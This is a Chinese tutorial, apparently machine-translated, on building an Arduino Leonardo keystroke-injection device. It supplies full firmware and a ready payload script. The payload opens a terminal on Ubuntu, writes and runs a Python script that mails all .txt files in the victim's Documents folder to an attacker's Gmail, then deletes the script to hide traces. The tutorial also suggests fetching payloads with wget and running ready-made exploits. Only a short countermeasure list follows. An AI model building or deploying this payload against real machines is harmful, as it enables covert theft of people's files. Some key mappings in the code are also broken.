Arduino键盘漏洞演示及解决办法

电子说

1.2w人已加入

描述

第1步:材料

零件:

1 。 Arduino leonardo

2。 micro USB读卡器

3。SD卡

4。按钮(VCC,地面和信号)

5。跨接电缆

6。 micro USB转USB电缆

步骤2:构建设备

Arduino

之前构建指令让我们回顾一下工作原理:

Arduino leonardo可以像人机界面设备(HID)一样运行,因此可以模拟鼠标和键盘。我们将使用此功能打开终端(在UBUNTU linux中)并编写一个小脚本,该脚本将访问用户主文件夹中的/Documents文件夹复制.txt文件并将其通过电子邮件发送给某人。如果您想了解更多详细信息,请查看下一步。

因为它是一个演示设备,所以事情非常简单,我们不会焊接任何东西。

构建说明

1。组装组件:

*插入arduino中的micro USB线

*将钥匙开关连接到arduino(接地,vcc和out模块)至D8)

*将读卡器连接到arduino(使用ICSP标头)。 Arduino leonardo没有将ICSP接头连接到数字引脚,因此您需要将读卡器连接到ICSP接头。您可以在此处找到ICSP的一些图纸:https://learn.sparkfun.com/tutorials/installing-an 。..。将SS引脚连接到数字引脚10

2. 获取arduino代码 :

#include “Keyboard.h”

#include “SPI.h”

#include “SD.h”

String filenameOnCard = “hack.txt”;

String sleepCommandStartingPoint = “Sleep::”;

String commandStartingPoint = “Command::”;

int delayBetweenCommands = 10;

const int buttonPin = 8;

const int chipSelect = 10;

int previousButtonState = HIGH;

void setup() {

pinMode(buttonPin, INPUT);

Serial.begin(9600);

Keyboard.begin();

if (!SD.begin(chipSelect)) {

Serial.println(“Card failed, or not present!”);

return;

}

}

void loop() {

int buttonState = digitalRead(buttonPin);

if ((buttonState != previousButtonState) && (buttonState == HIGH)) {

sdFileToKeyboard();

Serial.println(“Uploaded!”);

delay(500);

}

previousButtonState = buttonState;

}

void sdFileToKeyboard() {

File dataFile = SD.open(filenameOnCard);

if (!dataFile) {

Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);

}

String line;

while (dataFile.available()) {

line = dataFile.readStringUntil(‘ ’);

Serial.println(line);

sendToKeyboard(line);

}

dataFile.close();

}

void sendToKeyboard(String line) {

String workingLine = line;

if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {

sleepFor(line);

return;

}

if (workingLine.indexOf(commandStartingPoint) == -1) {

Serial.print(“Text:”);Serial.println(line);

Keyboard.println(line);

pressEnter();

return;

}

Serial.println(“Command:”);

int charPosition = commandStartingPoint.length();

int lineLength = line.length();

workingLine += “,”;

while (workingLine != “”) {

workingLine = workingLine.substring(charPosition);

Serial.print(“WorkingLine:”);Serial.println(workingLine);

int specialCommandDelimiterPosition = workingLine.indexOf(“,”);

String command = workingLine.substring(0, specialCommandDelimiterPosition);

charPosition = specialCommandDelimiterPosition + 1;

if (command != “”) {

Serial.print(“Command found:”);Serial.println(command);

Keyboard.press(getCommandCode(command));

delay(delayBetweenCommands);

}

}

Keyboard.releaseAll();

delay(delayBetweenCommands);

}

void pressEnter() {

Keyboard.press(KEY_RETURN);

Keyboard.releaseAll();

}

void sleepFor(String line) {

int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();

Serial.print(“Sleeping for:”);Serial.println(sleepAmount);

delay(sleepAmount);

}

char getCommandCode(String text) {

char textCharacters[2];

text.toCharArray(textCharacters, 2);

char code = textCharacters[0];

code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;

code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;

code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;

code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;

code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;

code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;

code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;

code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;

code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;

code = (text == “KEY_TAB”) ? KEY_TAB : code;

code = (text == “KEY_RETURN”) ? KEY_RETURN : code;

code = (text == “KEY_ESC”) ? KEY_ESC : code;

code = (text == “KEY_INSERT”) ? KEY_INSERT : code;

code = (text == “KEY_DELETE”) ? KEY_DELETE : code;

code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;

code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;

code = (text == “KEY_HOME”) ? KEY_HOME : code;

code = (text == “KEY_END”) ? KEY_END : code;

code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;

code = (text == “KEY_F1”) ? KEY_F1 : code;

code = (text == “KEY_F2”) ? KEY_F2 : code;

code = (text == “KEY_F3”) ? KEY_F3 : code;

code = (text == “KEY_F4”) ? KEY_F4 : code;

code = (text == “KEY_F5”) ? KEY_F5 : code;

code = (text == “KEY_F6”) ? KEY_F6 : code;

code = (text == “KEY_F7”) ? KEY_F7 : code;

code = (text == “KEY_F8”) ? KEY_F8 : code;

code = (text == “KEY_F9”) ? KEY_F9 : code;

code = (text == “KEY_F10”) ? KEY_F10 : code;

code = (text == “KEY_F11”) ? KEY_F1 : code;

code = (text == “KEY_F12”) ? KEY_F2 : code;

return code;

}

3。将代码上传到arduino ,请务必选择9600波特率,串口和arduino leonardo

4。 使用FAT16或FAT32格式化SD卡

5。如果您从上面克隆了github repo,复制卡上的hack.txt文件,如果不是,则下面列出了该文件:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t

Sleep::500

vi hack.py

Sleep::300

Command::KEY_INSERT

import smtplib

import glob, os

from os.path import expanduser

from email.MIMEMultipart import MIMEMultipart

from email.MIMEBase import MIMEBase

from email.MIMEText import MIMEText

from email.Utils import COMMASPACE, formatdate

from email import Encoders

smtp_user = ‘sender_gmail_address’

smtp_pass = ‘sender_gmail_password’

to_address = ‘receiver_address’

scan_documents_location = ‘Documents’

subject = body = ‘Files from hacked computer’

header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)

def sendMail(to, subject, text, files=[]):

msg = MIMEMultipart()

msg[‘From’] = smtp_user

msg[‘To’] = COMMASPACE.join(to)

msg[‘Date’] = formatdate(localtime=True)

msg[‘Subject’] = subject

msg.attach(MIMEText(text))

for file in files:

part = MIMEBase(‘application’, “octet-stream”)

part.set_payload(open(file,“rb”).read())

Encoders.encode_base64(part)

part.add_header(‘Content-Disposition’, ‘attachment; filename=“%s”’

% os.path.basename(file))

msg.attach(part)

server = smtplib.SMTP(‘smtp.gmail.com:587’)

server.starttls()

server.login(smtp_user, smtp_pass)

server.sendmail(smtp_user, to, msg.as_string())

server.quit()

sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))

Sleep::50

Command::KEY_ESC

Sleep::100

:x

Sleep::500

nohup python hack.py &

Sleep::700

rm -rf hack.py

Sleep::400

Command::KEY_LEFT_ALT,KEY_F4

的 6。修改以下内容:

smtp_user = ‘sender_email_addr’

smtp_pass = ‘sender_password’

to_address = ‘receiver_address’

并替换为您的电子邮件地址

7。 取出卡并将其插入arduino读卡器

步骤3:如何在细节中工作

攻击如何工作:

1。按下按钮后,leonardo将使用SD卡阅读器读取SD卡。卡上将显示包含按键和按键组合的特殊文件。文件名是“hack.txt”。

该文件可以包含原始文本,它将按原样传递给键盘。

它还可以包含特殊命令,如“Sleep ::”和“Command ::”。

如下所示的行:

Sleep :: 200表示200 ms的睡眠

如下所示的行

Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按钮,按下左按钮,按下t按钮并全部释放

您可以在此处检查所有特殊按键:https://www.arduino .CC/EN/参考/KeyboardModif 。..

2。莱昂纳多将逐行阅读,并解释命令并模拟键盘上的键。文件“hack.txt”包含执行以下操作的键组合(对于UBUNTU linux):

a。打开一个终端(CTRL + ALT + T)

b。使用vi打开一个用于创建的python文件(写入“vi hack.py”

c。写入一个python脚本,收集文档主文件夹中的所有文本文件,并将它们发送到指定的gmail地址

d。在后台运行文件(“nohup python hack.py&”)

e。删除文件(rm -rf hack.py)

f。关闭终端(ALT + F4)

整个过程会在几秒钟内完成并且不会留下痕迹。

增强功能和故障排除

*你可能会注意到,在我打开一个终端后,我正在编写python文件。更好的方法是将它托管在某处并使用“wget some_url”命令下载它,然后将其重命名为hack.py

*我们也可以为目标操作系统下载或运行现成的漏洞利用

* wifi可以添加到模块中,黑客可以通过WIFI上传

*您可以使用arduino micro(更小)并在其上嵌入漏洞利用代码(使其更小)

限制

1。由于模拟设备(键盘和鼠标)没有任何反馈,我们不知道发出命令后会发生什么,这意味着我们需要使用延迟。例如我发出一个打开终端的命令,但我不知道它什么时候会打开,所以我需要指定一个任意的延迟来确保输入的字符不会丢失。

2。我们可能会遇到许可问题,例如无法访问USB端口或安装某些内容的权限

3。打字速度对leonardo而言并不是那么好

4。仅适用于目标操作系统(在我们的案例中为UBUNTU linux)

在下一步中将尝试找到利用此限制的方法来防止我们的计算机被黑客入侵

第4步:对策

1。禁用USB端口

2。白名单USB设备:

3。不要以root身份登录(需要密码才能安装任何东西)

4。让自己保持最新(自动更新)

打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分